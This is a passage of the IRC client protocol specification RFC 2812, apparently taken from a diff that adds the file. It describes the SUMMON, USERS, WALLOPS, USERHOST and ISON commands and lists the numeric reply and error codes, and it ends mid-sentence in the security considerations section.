+           ERR_NOLOGIN                   ERR_NOSUCHSERVER
+           ERR_SUMMONDISABLED            RPL_SUMMONING
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 40]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   Examples:
+
+   SUMMON jto                      ; summon user jto on the server's
+                                   host
+
+   SUMMON jto tolsun.oulu.fi       ; summon user jto on the host which a
+                                   server named "tolsun.oulu.fi" is
+                                   running.
+
+4.6 Users
+
+      Command: USERS
+   Parameters: [ <target> ]
+
+   The USERS command returns a list of users logged into the server in a
+   format similar to the UNIX commands who(1), rusers(1) and finger(1).
+   If disabled, the correct numeric MUST be returned to indicate this.
+
+   Because of the security implications of such a command, it SHOULD be
+   disabled by default in server implementations.  Enabling it SHOULD
+   require recompiling the server or some equivalent change rather than
+   simply toggling an option and restarting the server.  The procedure
+   to enable this command SHOULD also include suitable large comments.
+
+   Numeric Replies:
+
+           ERR_NOSUCHSERVER              ERR_FILEERROR
+           RPL_USERSSTART                RPL_USERS
+           RPL_NOUSERS                   RPL_ENDOFUSERS
+           ERR_USERSDISABLED
+
+   Disabled Reply:
+
+           ERR_USERSDISABLED
+
+   Example:
+
+   USERS eff.org                   ; request a list of users logged in
+                                   on server eff.org
+
+4.7 Operwall message
+
+      Command: WALLOPS
+   Parameters: <Text to be sent>
+
+   The WALLOPS command is used to send a message to all currently
+   connected users who have set the 'w' user mode for themselves.  (See
+   Section 3.1.5 "User modes").
+
+
+
+Kalt                         Informational                     [Page 41]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   After implementing WALLOPS as a user command it was found that it was
+   often and commonly abused as a means of sending a message to a lot of
+   people.  Due to this, it is RECOMMENDED that the implementation of
+   WALLOPS allows and recognizes only servers as the originators of
+   WALLOPS.
+
+   Numeric Replies:
+
+           ERR_NEEDMOREPARAMS
+
+   Example:
+
+   :csd.bu.edu WALLOPS :Connect '*.uiuc.edu 6667' from Joshua ; WALLOPS
+                                   message from csd.bu.edu announcing a
+                                   CONNECT message it received from
+                                   Joshua and acted upon.
+
+4.8 Userhost message
+
+      Command: USERHOST
+   Parameters: <nickname> *( SPACE <nickname> )
+
+   The USERHOST command takes a list of up to 5 nicknames, each
+   separated by a space character and returns a list of information
+   about each nickname that it found.  The returned list has each reply
+   separated by a space.
+
+   Numeric Replies:
+
+           RPL_USERHOST                  ERR_NEEDMOREPARAMS
+
+   Example:
+
+   USERHOST Wiz Michael syrk       ; USERHOST request for information on
+                                   nicks "Wiz", "Michael", and "syrk"
+
+   :ircd.stealth.net 302 yournick :syrk=+syrk@millennium.stealth.net
+                                   ; Reply for user syrk
+
+4.9 Ison message
+
+      Command: ISON
+   Parameters: <nickname> *( SPACE <nickname> )
+
+   The ISON command was implemented to provide a quick and efficient
+   means to get a response about whether a given nickname was currently
+   on IRC. ISON only takes one (1) type of parameter: a space-separated
+   list of nicks.  For each nickname in the list that is present, the
+
+
+
+Kalt                         Informational                     [Page 42]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   server adds that to its reply string.  Thus the reply string may
+   return empty (none of the given nicks are present), an exact copy of
+   the parameter string (all of them present) or any other subset of the
+   set of nicks given in the parameter.  The only limit on the number of
+   nicks that may be checked is that the combined length MUST NOT be too
+   large as to cause the server to chop it off so it fits in 512
+   characters.
+
+   ISON is only processed by the server local to the client sending the
+   command and thus not passed onto other servers for further
+   processing.
+
+   Numeric Replies:
+
+           RPL_ISON                      ERR_NEEDMOREPARAMS
+
+   Example:
+
+   ISON phone trillian WiZ jarlek Avalon Angel Monstah syrk
+                                   ; Sample ISON request for 7 nicks.
+
+5. Replies
+
+   The following is a list of numeric replies which are generated in
+   response to the commands given above.  Each numeric is given with its
+   number, name and reply string.
+
+5.1 Command responses
+
+   Numerics in the range from 001 to 099 are used for client-server
+   connections only and should never travel between servers.  Replies
+   generated in the response to commands are found in the range from 200
+   to 399.
+
+       001    RPL_WELCOME
+              "Welcome to the Internet Relay Network
+               <nick>!<user>@<host>"
+       002    RPL_YOURHOST
+              "Your host is <servername>, running version <ver>"
+       003    RPL_CREATED
+              "This server was created <date>"
+       004    RPL_MYINFO
+              "<servername> <version> <available user modes>
+               <available channel modes>"
+
+         - The server sends Replies 001 to 004 to a user upon
+           successful registration.
+
+
+
+
+Kalt                         Informational                     [Page 43]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       005    RPL_BOUNCE
+              "Try server <server name>, port <port number>"
+
+         - Sent by the server to a user to suggest an alternative
+           server.  This is often used when the connection is
+           refused because the server is already full.
+
+       302    RPL_USERHOST
+              ":*1<reply> *( " " <reply> )"
+
+         - Reply format used by USERHOST to list replies to
+           the query list.  The reply string is composed as
+           follows:
+
+           reply = nickname [ "*" ] "=" ( "+" / "-" ) hostname
+
+           The '*' indicates whether the client has registered
+           as an Operator.  The '-' or '+' characters represent
+           whether the client has set an AWAY message or not
+           respectively.
+
+       303    RPL_ISON
+              ":*1<nick> *( " " <nick> )"
+
+         - Reply format used by ISON to list replies to the
+           query list.
+
+       301    RPL_AWAY
+              "<nick> :<away message>"
+       305    RPL_UNAWAY
+              ":You are no longer marked as being away"
+       306    RPL_NOWAWAY
+              ":You have been marked as being away"
+
+         - These replies are used with the AWAY command (if
+           allowed).  RPL_AWAY is sent to any client sending a
+           PRIVMSG to a client which is away.  RPL_AWAY is only
+           sent by the server to which the client is connected.
+           Replies RPL_UNAWAY and RPL_NOWAWAY are sent when the
+           client removes and sets an AWAY message.
+
+       311    RPL_WHOISUSER
+              "<nick> <user> <host> * :<real name>"
+       312    RPL_WHOISSERVER
+              "<nick> <server> :<server info>"
+       313    RPL_WHOISOPERATOR
+              "<nick> :is an IRC operator"
+
+
+
+
+Kalt                         Informational                     [Page 44]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       317    RPL_WHOISIDLE
+              "<nick> <integer> :seconds idle"
+       318    RPL_ENDOFWHOIS
+              "<nick> :End of WHOIS list"
+       319    RPL_WHOISCHANNELS
+              "<nick> :*( ( "@" / "+" ) <channel> " " )"
+
+         - Replies 311 - 313, 317 - 319 are all replies
+           generated in response to a WHOIS message.  Given that
+           there are enough parameters present, the answering
+           server MUST either formulate a reply out of the above
+           numerics (if the query nick is found) or return an
+           error reply.  The '*' in RPL_WHOISUSER is there as
+           the literal character and not as a wild card.  For
+           each reply set, only RPL_WHOISCHANNELS may appear
+           more than once (for long lists of channel names).
+           The '@' and '+' characters next to the channel name
+           indicate whether a client is a channel operator or
+           has been granted permission to speak on a moderated
+           channel.  The RPL_ENDOFWHOIS reply is used to mark
+           the end of processing a WHOIS message.
+
+       314    RPL_WHOWASUSER
+              "<nick> <user> <host> * :<real name>"
+       369    RPL_ENDOFWHOWAS
+              "<nick> :End of WHOWAS"
+
+         - When replying to a WHOWAS message, a server MUST use
+           the replies RPL_WHOWASUSER, RPL_WHOISSERVER or
+           ERR_WASNOSUCHNICK for each nickname in the presented
+           list.  At the end of all reply batches, there MUST
+           be RPL_ENDOFWHOWAS (even if there was only one reply
+           and it was an error).
+
+       321    RPL_LISTSTART
+              Obsolete. Not used.
+
+       322    RPL_LIST
+              "<channel> <# visible> :<topic>"
+       323    RPL_LISTEND
+              ":End of LIST"
+
+         - Replies RPL_LIST, RPL_LISTEND mark the actual replies
+           with data and end of the server's response to a LIST
+           command.  If there are no channels available to return,
+           only the end reply MUST be sent.
+
+
+
+
+
+Kalt                         Informational                     [Page 45]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       325    RPL_UNIQOPIS
+              "<channel> <nickname>"
+
+       324    RPL_CHANNELMODEIS
+              "<channel> <mode> <mode params>"
+
+       331    RPL_NOTOPIC
+              "<channel> :No topic is set"
+       332    RPL_TOPIC
+              "<channel> :<topic>"
+
+         - When sending a TOPIC message to determine the
+           channel topic, one of two replies is sent.  If
+           the topic is set, RPL_TOPIC is sent back else
+           RPL_NOTOPIC.
+
+       341    RPL_INVITING
+              "<channel> <nick>"
+
+         - Returned by the server to indicate that the
+           attempted INVITE message was successful and is
+           being passed onto the end client.
+
+       342    RPL_SUMMONING
+              "<user> :Summoning user to IRC"
+
+         - Returned by a server answering a SUMMON message to
+           indicate that it is summoning that user.
+
+       346    RPL_INVITELIST
+              "<channel> <invitemask>"
+       347    RPL_ENDOFINVITELIST
+              "<channel> :End of channel invite list"
+
+         - When listing the 'invitations masks' for a given channel,
+           a server is required to send the list back using the
+           RPL_INVITELIST and RPL_ENDOFINVITELIST messages.  A
+           separate RPL_INVITELIST is sent for each active mask.
+           After the masks have been listed (or if none present) a
+           RPL_ENDOFINVITELIST MUST be sent.
+
+       348    RPL_EXCEPTLIST
+              "<channel> <exceptionmask>"
+       349    RPL_ENDOFEXCEPTLIST
+              "<channel> :End of channel exception list"
+
+
+
+
+
+
+Kalt                         Informational                     [Page 46]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+         - When listing the 'exception masks' for a given channel,
+           a server is required to send the list back using the
+           RPL_EXCEPTLIST and RPL_ENDOFEXCEPTLIST messages.  A
+           separate RPL_EXCEPTLIST is sent for each active mask.
+           After the masks have been listed (or if none present)
+           a RPL_ENDOFEXCEPTLIST MUST be sent.
+
+       351    RPL_VERSION
+              "<version>.<debuglevel> <server> :<comments>"
+
+         - Reply by the server showing its version details.
+           The <version> is the version of the software being
+           used (including any patchlevel revisions) and the
+           <debuglevel> is used to indicate if the server is
+           running in "debug mode".
+
+           The "comments" field may contain any comments about
+           the version or further version details.
+
+       352    RPL_WHOREPLY
+              "<channel> <user> <host> <server> <nick>
+              ( "H" / "G" > ["*"] [ ( "@" / "+" ) ]
+              :<hopcount> <real name>"
+
+       315    RPL_ENDOFWHO
+              "<name> :End of WHO list"
+
+         - The RPL_WHOREPLY and RPL_ENDOFWHO pair are used
+           to answer a WHO message.  The RPL_WHOREPLY is only
+           sent if there is an appropriate match to the WHO
+           query.  If there is a list of parameters supplied
+           with a WHO message, a RPL_ENDOFWHO MUST be sent
+           after processing each list item with <name> being
+           the item.
+
+       353    RPL_NAMREPLY
+              "( "=" / "*" / "@" ) <channel>
+               :[ "@" / "+" ] <nick> *( " " [ "@" / "+" ] <nick> )
+         - "@" is used for secret channels, "*" for private
+           channels, and "=" for others (public channels).
+
+       366    RPL_ENDOFNAMES
+              "<channel> :End of NAMES list"
+
+         - To reply to a NAMES message, a reply pair consisting
+           of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the
+           server back to the client.  If there is no channel
+           found as in the query, then only RPL_ENDOFNAMES is
+
+
+
+Kalt                         Informational                     [Page 47]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+           returned.  The exception to this is when a NAMES
+           message is sent with no parameters and all visible
+           channels and contents are sent back in a series of
+           RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark
+           the end.
+
+       364    RPL_LINKS
+              "<mask> <server> :<hopcount> <server info>"
+       365    RPL_ENDOFLINKS
+              "<mask> :End of LINKS list"
+
+         - In replying to the LINKS message, a server MUST send
+           replies back using the RPL_LINKS numeric and mark the
+           end of the list using an RPL_ENDOFLINKS reply.
+
+       367    RPL_BANLIST
+              "<channel> <banmask>"
+       368    RPL_ENDOFBANLIST
+              "<channel> :End of channel ban list"
+
+         - When listing the active 'bans' for a given channel,
+           a server is required to send the list back using the
+           RPL_BANLIST and RPL_ENDOFBANLIST messages.  A separate
+           RPL_BANLIST is sent for each active banmask.  After the
+           banmasks have been listed (or if none present) a
+           RPL_ENDOFBANLIST MUST be sent.
+
+       371    RPL_INFO
+              ":<string>"
+       374    RPL_ENDOFINFO
+              ":End of INFO list"
+
+         - A server responding to an INFO message is required to
+           send all its 'info' in a series of RPL_INFO messages
+           with a RPL_ENDOFINFO reply to indicate the end of the
+           replies.
+
+       375    RPL_MOTDSTART
+              ":- <server> Message of the day - "
+       372    RPL_MOTD
+              ":- <text>"
+       376    RPL_ENDOFMOTD
+              ":End of MOTD command"
+
+         - When responding to the MOTD message and the MOTD file
+           is found, the file is displayed line by line, with
+           each line no longer than 80 characters, using
+
+
+
+
+Kalt                         Informational                     [Page 48]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+           RPL_MOTD format replies.  These MUST be surrounded
+           by a RPL_MOTDSTART (before the RPL_MOTDs) and an
+           RPL_ENDOFMOTD (after).
+
+       381    RPL_YOUREOPER
+              ":You are now an IRC operator"
+
+         - RPL_YOUREOPER is sent back to a client which has
+           just successfully issued an OPER message and gained
+           operator status.
+
+       382    RPL_REHASHING
+              "<config file> :Rehashing"
+
+         - If the REHASH option is used and an operator sends
+           a REHASH message, an RPL_REHASHING is sent back to
+           the operator.
+
+       383    RPL_YOURESERVICE
+              "You are service <servicename>"
+
+         - Sent by the server to a service upon successful
+           registration.
+
+       391    RPL_TIME
+              "<server> :<string showing server's local time>"
+
+         - When replying to the TIME message, a server MUST send
+           the reply using the RPL_TIME format above.  The string
+           showing the time need only contain the correct day and
+           time there.  There is no further requirement for the
+           time string.
+
+       392    RPL_USERSSTART
+              ":UserID   Terminal  Host"
+       393    RPL_USERS
+              ":<username> <ttyline> <hostname>"
+       394    RPL_ENDOFUSERS
+              ":End of users"
+       395    RPL_NOUSERS
+              ":Nobody logged in"
+
+         - If the USERS message is handled by a server, the
+           replies RPL_USERSTART, RPL_USERS, RPL_ENDOFUSERS and
+           RPL_NOUSERS are used.  RPL_USERSSTART MUST be sent
+           first, following by either a sequence of RPL_USERS
+           or a single RPL_NOUSER.  Following this is
+           RPL_ENDOFUSERS.
+
+
+
+Kalt                         Informational                     [Page 49]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       200    RPL_TRACELINK
+              "Link <version & debug level> <destination>
+               <next server> V<protocol version>
+               <link uptime in seconds> <backstream sendq>
+               <upstream sendq>"
+       201    RPL_TRACECONNECTING
+              "Try. <class> <server>"
+       202    RPL_TRACEHANDSHAKE
+              "H.S. <class> <server>"
+       203    RPL_TRACEUNKNOWN
+              "???? <class> [<client IP address in dot form>]"
+       204    RPL_TRACEOPERATOR
+              "Oper <class> <nick>"
+       205    RPL_TRACEUSER
+              "User <class> <nick>"
+       206    RPL_TRACESERVER
+              "Serv <class> <int>S <int>C <server>
+               <nick!user|*!*>@<host|server> V<protocol version>"
+       207    RPL_TRACESERVICE
+              "Service <class> <name> <type> <active type>"
+       208    RPL_TRACENEWTYPE
+              "<newtype> 0 <client name>"
+       209    RPL_TRACECLASS
+              "Class <class> <count>"
+       210    RPL_TRACERECONNECT
+              Unused.
+       261    RPL_TRACELOG
+              "File <logfile> <debug level>"
+       262    RPL_TRACEEND
+              "<server name> <version & debug level> :End of TRACE"
+
+         - The RPL_TRACE* are all returned by the server in
+           response to the TRACE message.  How many are
+           returned is dependent on the TRACE message and
+           whether it was sent by an operator or not.  There
+           is no predefined order for which occurs first.
+           Replies RPL_TRACEUNKNOWN, RPL_TRACECONNECTING and
+           RPL_TRACEHANDSHAKE are all used for connections
+           which have not been fully established and are either
+           unknown, still attempting to connect or in the
+           process of completing the 'server handshake'.
+           RPL_TRACELINK is sent by any server which handles
+           a TRACE message and has to pass it on to another
+           server.  The list of RPL_TRACELINKs sent in
+           response to a TRACE command traversing the IRC
+           network should reflect the actual connectivity of
+           the servers themselves along that path.
+
+
+
+
+Kalt                         Informational                     [Page 50]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+           RPL_TRACENEWTYPE is to be used for any connection
+           which does not fit in the other categories but is
+           being displayed anyway.
+           RPL_TRACEEND is sent to indicate the end of the list.
+
+       211    RPL_STATSLINKINFO
+              "<linkname> <sendq> <sent messages>
+               <sent Kbytes> <received messages>
+               <received Kbytes> <time open>"
+
+         - reports statistics on a connection.  <linkname>
+           identifies the particular connection, <sendq> is
+           the amount of data that is queued and waiting to be
+           sent <sent messages> the number of messages sent,
+           and <sent Kbytes> the amount of data sent, in
+           Kbytes. <received messages> and <received Kbytes>
+           are the equivalent of <sent messages> and <sent
+           Kbytes> for received data, respectively.  <time
+           open> indicates how long ago the connection was
+           opened, in seconds.
+
+       212    RPL_STATSCOMMANDS
+              "<command> <count> <byte count> <remote count>"
+
+         - reports statistics on commands usage.
+
+       219    RPL_ENDOFSTATS
+              "<stats letter> :End of STATS report"
+
+       242    RPL_STATSUPTIME
+              ":Server Up %d days %d:%02d:%02d"
+
+         - reports the server uptime.
+
+       243    RPL_STATSOLINE
+              "O <hostmask> * <name>"
+
+         - reports the allowed hosts from where user may become IRC
+           operators.
+
+       221    RPL_UMODEIS
+              "<user mode string>"
+
+         - To answer a query about a client's own mode,
+           RPL_UMODEIS is sent back.
+
+       234    RPL_SERVLIST
+              "<name> <server> <mask> <type> <hopcount> <info>"
+
+
+
+Kalt                         Informational                     [Page 51]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       235    RPL_SERVLISTEND
+              "<mask> <type> :End of service listing"
+
+         - When listing services in reply to a SERVLIST message,
+           a server is required to send the list back using the
+           RPL_SERVLIST and RPL_SERVLISTEND messages.  A separate
+           RPL_SERVLIST is sent for each service.  After the
+           services have been listed (or if none present) a
+           RPL_SERVLISTEND MUST be sent.
+
+       251    RPL_LUSERCLIENT
+              ":There are <integer> users and <integer>
+               services on <integer> servers"
+       252    RPL_LUSEROP
+              "<integer> :operator(s) online"
+       253    RPL_LUSERUNKNOWN
+              "<integer> :unknown connection(s)"
+       254    RPL_LUSERCHANNELS
+              "<integer> :channels formed"
+       255    RPL_LUSERME
+              ":I have <integer> clients and <integer>
+                servers"
+
+         - In processing an LUSERS message, the server
+           sends a set of replies from RPL_LUSERCLIENT,
+           RPL_LUSEROP, RPL_USERUNKNOWN,
+           RPL_LUSERCHANNELS and RPL_LUSERME.  When
+           replying, a server MUST send back
+           RPL_LUSERCLIENT and RPL_LUSERME.  The other
+           replies are only sent back if a non-zero count
+           is found for them.
+
+       256    RPL_ADMINME
+              "<server> :Administrative info"
+       257    RPL_ADMINLOC1
+              ":<admin info>"
+       258    RPL_ADMINLOC2
+              ":<admin info>"
+       259    RPL_ADMINEMAIL
+              ":<admin info>"
+
+         - When replying to an ADMIN message, a server
+           is expected to use replies RPL_ADMINME
+           through to RPL_ADMINEMAIL and provide a text
+           message with each.  For RPL_ADMINLOC1 a
+           description of what city, state and country
+           the server is in is expected, followed by
+           details of the institution (RPL_ADMINLOC2)
+
+
+
+Kalt                         Informational                     [Page 52]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+           and finally the administrative contact for the
+           server (an email address here is REQUIRED)
+           in RPL_ADMINEMAIL.
+
+       263    RPL_TRYAGAIN
+              "<command> :Please wait a while and try again."
+
+         - When a server drops a command without processing it,
+           it MUST use the reply RPL_TRYAGAIN to inform the
+           originating client.
+
+5.2 Error Replies
+
+       Error replies are found in the range from 400 to 599.
+
+       401    ERR_NOSUCHNICK
+              "<nickname> :No such nick/channel"
+
+          - Used to indicate the nickname parameter supplied to a
+            command is currently unused.
+
+       402    ERR_NOSUCHSERVER
+              "<server name> :No such server"
+
+         - Used to indicate the server name given currently
+           does not exist.
+
+       403    ERR_NOSUCHCHANNEL
+              "<channel name> :No such channel"
+
+         - Used to indicate the given channel name is invalid.
+
+       404    ERR_CANNOTSENDTOCHAN
+              "<channel name> :Cannot send to channel"
+
+         - Sent to a user who is either (a) not on a channel
+           which is mode +n or (b) not a chanop (or mode +v) on
+           a channel which has mode +m set or where the user is
+           banned and is trying to send a PRIVMSG message to
+           that channel.
+
+       405    ERR_TOOMANYCHANNELS
+              "<channel name> :You have joined too many channels"
+
+         - Sent to a user when they have joined the maximum
+           number of allowed channels and they try to join
+           another channel.
+
+
+
+
+Kalt                         Informational                     [Page 53]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       406    ERR_WASNOSUCHNICK
+              "<nickname> :There was no such nickname"
+
+         - Returned by WHOWAS to indicate there is no history
+           information for that nickname.
+
+       407    ERR_TOOMANYTARGETS
+              "<target> :<error code> recipients. <abort message>"
+
+         - Returned to a client which is attempting to send a
+           PRIVMSG/NOTICE using the user@host destination format
+           and for a user@host which has several occurrences.
+
+         - Returned to a client which trying to send a
+           PRIVMSG/NOTICE to too many recipients.
+
+         - Returned to a client which is attempting to JOIN a safe
+           channel using the shortname when there are more than one
+           such channel.
+
+       408    ERR_NOSUCHSERVICE
+              "<service name> :No such service"
+
+         - Returned to a client which is attempting to send a SQUERY
+           to a service which does not exist.
+
+       409    ERR_NOORIGIN
+              ":No origin specified"
+
+         - PING or PONG message missing the originator parameter.
+
+       411    ERR_NORECIPIENT
+              ":No recipient given (<command>)"
+       412    ERR_NOTEXTTOSEND
+              ":No text to send"
+       413    ERR_NOTOPLEVEL
+              "<mask> :No toplevel domain specified"
+       414    ERR_WILDTOPLEVEL
+              "<mask> :Wildcard in toplevel domain"
+       415    ERR_BADMASK
+              "<mask> :Bad Server/host mask"
+
+         - 412 - 415 are returned by PRIVMSG to indicate that
+           the message wasn't delivered for some reason.
+           ERR_NOTOPLEVEL and ERR_WILDTOPLEVEL are errors that
+           are returned when an invalid use of
+           "PRIVMSG $<server>" or "PRIVMSG #<host>" is attempted.
+
+
+
+
+Kalt                         Informational                     [Page 54]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       421    ERR_UNKNOWNCOMMAND
+              "<command> :Unknown command"
+
+         - Returned to a registered client to indicate that the
+           command sent is unknown by the server.
+
+       422    ERR_NOMOTD
+              ":MOTD File is missing"
+
+         - Server's MOTD file could not be opened by the server.
+
+       423    ERR_NOADMININFO
+              "<server> :No administrative info available"
+
+         - Returned by a server in response to an ADMIN message
+           when there is an error in finding the appropriate
+           information.
+
+       424    ERR_FILEERROR
+              ":File error doing <file op> on <file>"
+
+         - Generic error message used to report a failed file
+           operation during the processing of a message.
+
+       431    ERR_NONICKNAMEGIVEN
+              ":No nickname given"
+
+         - Returned when a nickname parameter expected for a
+           command and isn't found.
+
+       432    ERR_ERRONEUSNICKNAME
+              "<nick> :Erroneous nickname"
+
+         - Returned after receiving a NICK message which contains
+           characters which do not fall in the defined set.  See
+           section 2.3.1 for details on valid nicknames.
+
+       433    ERR_NICKNAMEINUSE
+              "<nick> :Nickname is already in use"
+
+         - Returned when a NICK message is processed that results
+           in an attempt to change to a currently existing
+           nickname.
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 55]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       436    ERR_NICKCOLLISION
+              "<nick> :Nickname collision KILL from <user>@<host>"
+
+         - Returned by a server to a client when it detects a
+           nickname collision (registered of a NICK that
+           already exists by another server).
+
+       437    ERR_UNAVAILRESOURCE
+              "<nick/channel> :Nick/channel is temporarily unavailable"
+
+         - Returned by a server to a user trying to join a channel
+           currently blocked by the channel delay mechanism.
+
+         - Returned by a server to a user trying to change nickname
+           when the desired nickname is blocked by the nick delay
+           mechanism.
+
+       441    ERR_USERNOTINCHANNEL
+              "<nick> <channel> :They aren't on that channel"
+
+         - Returned by the server to indicate that the target
+           user of the command is not on the given channel.
+
+       442    ERR_NOTONCHANNEL
+              "<channel> :You're not on that channel"
+
+         - Returned by the server whenever a client tries to
+           perform a channel affecting command for which the
+           client isn't a member.
+
+       443    ERR_USERONCHANNEL
+              "<user> <channel> :is already on channel"
+
+         - Returned when a client tries to invite a user to a
+           channel they are already on.
+
+       444    ERR_NOLOGIN
+              "<user> :User not logged in"
+
+         - Returned by the summon after a SUMMON command for a
+           user was unable to be performed since they were not
+           logged in.
+
+
+
+
+
+
+
+
+
+Kalt                         Informational                     [Page 56]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       445    ERR_SUMMONDISABLED
+              ":SUMMON has been disabled"
+
+         - Returned as a response to the SUMMON command.  MUST be
+           returned by any server which doesn't implement it.
+
+       446    ERR_USERSDISABLED
+              ":USERS has been disabled"
+
+         - Returned as a response to the USERS command.  MUST be
+           returned by any server which does not implement it.
+
+       451    ERR_NOTREGISTERED
+              ":You have not registered"
+
+         - Returned by the server to indicate that the client
+           MUST be registered before the server will allow it
+           to be parsed in detail.
+
+       461    ERR_NEEDMOREPARAMS
+              "<command> :Not enough parameters"
+
+         - Returned by the server by numerous commands to
+           indicate to the client that it didn't supply enough
+           parameters.
+
+       462    ERR_ALREADYREGISTRED
+              ":Unauthorized command (already registered)"
+
+         - Returned by the server to any link which tries to
+           change part of the registered details (such as
+           password or user details from second USER message).
+
+       463    ERR_NOPERMFORHOST
+              ":Your host isn't among the privileged"
+
+         - Returned to a client which attempts to register with
+           a server which does not been setup to allow
+           connections from the host the attempted connection
+           is tried.
+
+       464    ERR_PASSWDMISMATCH
+              ":Password incorrect"
+
+         - Returned to indicate a failed attempt at registering
+           a connection for which a password was required and
+           was either not given or incorrect.
+
+
+
+
+Kalt                         Informational                     [Page 57]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       465    ERR_YOUREBANNEDCREEP
+              ":You are banned from this server"
+
+         - Returned after an attempt to connect and register
+           yourself with a server which has been setup to
+           explicitly deny connections to you.
+
+       466    ERR_YOUWILLBEBANNED
+
+         - Sent by a server to a user to inform that access to the
+           server will soon be denied.
+
+       467    ERR_KEYSET
+              "<channel> :Channel key already set"
+       471    ERR_CHANNELISFULL
+              "<channel> :Cannot join channel (+l)"
+       472    ERR_UNKNOWNMODE
+              "<char> :is unknown mode char to me for <channel>"
+       473    ERR_INVITEONLYCHAN
+              "<channel> :Cannot join channel (+i)"
+       474    ERR_BANNEDFROMCHAN
+              "<channel> :Cannot join channel (+b)"
+       475    ERR_BADCHANNELKEY
+              "<channel> :Cannot join channel (+k)"
+       476    ERR_BADCHANMASK
+              "<channel> :Bad Channel Mask"
+       477    ERR_NOCHANMODES
+              "<channel> :Channel doesn't support modes"
+       478    ERR_BANLISTFULL
+              "<channel> <char> :Channel list is full"
+
+       481    ERR_NOPRIVILEGES
+              ":Permission Denied- You're not an IRC operator"
+
+         - Any command requiring operator privileges to operate
+           MUST return this error to indicate the attempt was
+           unsuccessful.
+
+       482    ERR_CHANOPRIVSNEEDED
+              "<channel> :You're not channel operator"
+
+         - Any command requiring 'chanop' privileges (such as
+           MODE messages) MUST return this error if the client
+           making the attempt is not a chanop on the specified
+           channel.
+
+
+
+
+
+
+Kalt                         Informational                     [Page 58]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+       483    ERR_CANTKILLSERVER
+              ":You can't kill a server!"
+
+         - Any attempts to use the KILL command on a server
+           are to be refused and this error returned directly
+           to the client.
+
+       484    ERR_RESTRICTED
+              ":Your connection is restricted!"
+
+         - Sent by the server to a user upon connection to indicate
+           the restricted nature of the connection (user mode "+r").
+
+       485    ERR_UNIQOPPRIVSNEEDED
+              ":You're not the original channel operator"
+
+         - Any MODE requiring "channel creator" privileges MUST
+           return this error if the client making the attempt is not
+           a chanop on the specified channel.
+
+       491    ERR_NOOPERHOST
+              ":No O-lines for your host"
+
+         - If a client sends an OPER message and the server has
+           not been configured to allow connections from the
+           client's host as an operator, this error MUST be
+           returned.
+
+       501    ERR_UMODEUNKNOWNFLAG
+              ":Unknown MODE flag"
+
+         - Returned by the server to indicate that a MODE
+           message was sent with a nickname parameter and that
+           the a mode flag sent was not recognized.
+
+       502    ERR_USERSDONTMATCH
+              ":Cannot change mode for other users"
+
+         - Error sent to any user trying to view or change the
+           user mode for a user other than themselves.
+
+5.3 Reserved numerics
+
+   These numerics are not described above since they fall into one of
+   the following categories:
+
+   1. no longer in use;
+
+
+
+
+Kalt                         Informational                     [Page 59]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+   2. reserved for future planned use;
+
+   3. in current use but are part of a non-generic 'feature' of
+      the current IRC server.
+
+            231    RPL_SERVICEINFO     232  RPL_ENDOFSERVICES
+            233    RPL_SERVICE
+            300    RPL_NONE            316  RPL_WHOISCHANOP
+            361    RPL_KILLDONE        362  RPL_CLOSING
+            363    RPL_CLOSEEND        373  RPL_INFOSTART
+            384    RPL_MYPORTIS
+
+            213    RPL_STATSCLINE      214  RPL_STATSNLINE
+            215    RPL_STATSILINE      216  RPL_STATSKLINE
+            217    RPL_STATSQLINE      218  RPL_STATSYLINE
+            240    RPL_STATSVLINE      241  RPL_STATSLLINE
+            244    RPL_STATSHLINE      244  RPL_STATSSLINE
+            246    RPL_STATSPING       247  RPL_STATSBLINE
+            250    RPL_STATSDLINE
+
+            492    ERR_NOSERVICEHOST
+
+6. Current implementations
+
+   The IRC software, version 2.10 is the only complete implementation of
+   the IRC protocol (client and server).  Because of the small amount of
+   changes in the client protocol since the publication of RFC 1459
+   [IRC], implementations that follow it are likely to be compliant with
+   this protocol or to require a small amount of changes to reach
+   compliance.
+
+7. Current problems
+
+   There are a number of recognized problems with the IRC Client
+   Protocol, and more generally with the IRC Server Protocol.  In order
+   to preserve backward compatibility with old clients, this protocol
+   has almost not evolved since the publication of RFC 1459 [IRC].
+
+7.1 Nicknames
+
+   The idea of the nickname on IRC is very convenient for users to use
+   when talking to each other outside of a channel, but there is only a
+   finite nickname space and being what they are, it's not uncommon for
+   several people to want to use the same nick.  If a nickname is chosen
+   by two people using this protocol, either one will not succeed or
+   both will removed by use of a server KILL (See Section 3.7.1).
+
+
+
+
+
+Kalt                         Informational                     [Page 60]
+
+RFC 2812          Internet Relay Chat: Client Protocol        April 2000
+
+
+7.2 Limitation of wildcards
+
+   There is no way to escape the escape character "\" (%x5C).  While
+   this isn't usually a problem, it makes it impossible to form a mask
+   with a backslash character ("\") preceding a wildcard.
+
+7.3 Security considerations
+
+   Security issues related to this protocol are discussed in the "IRC
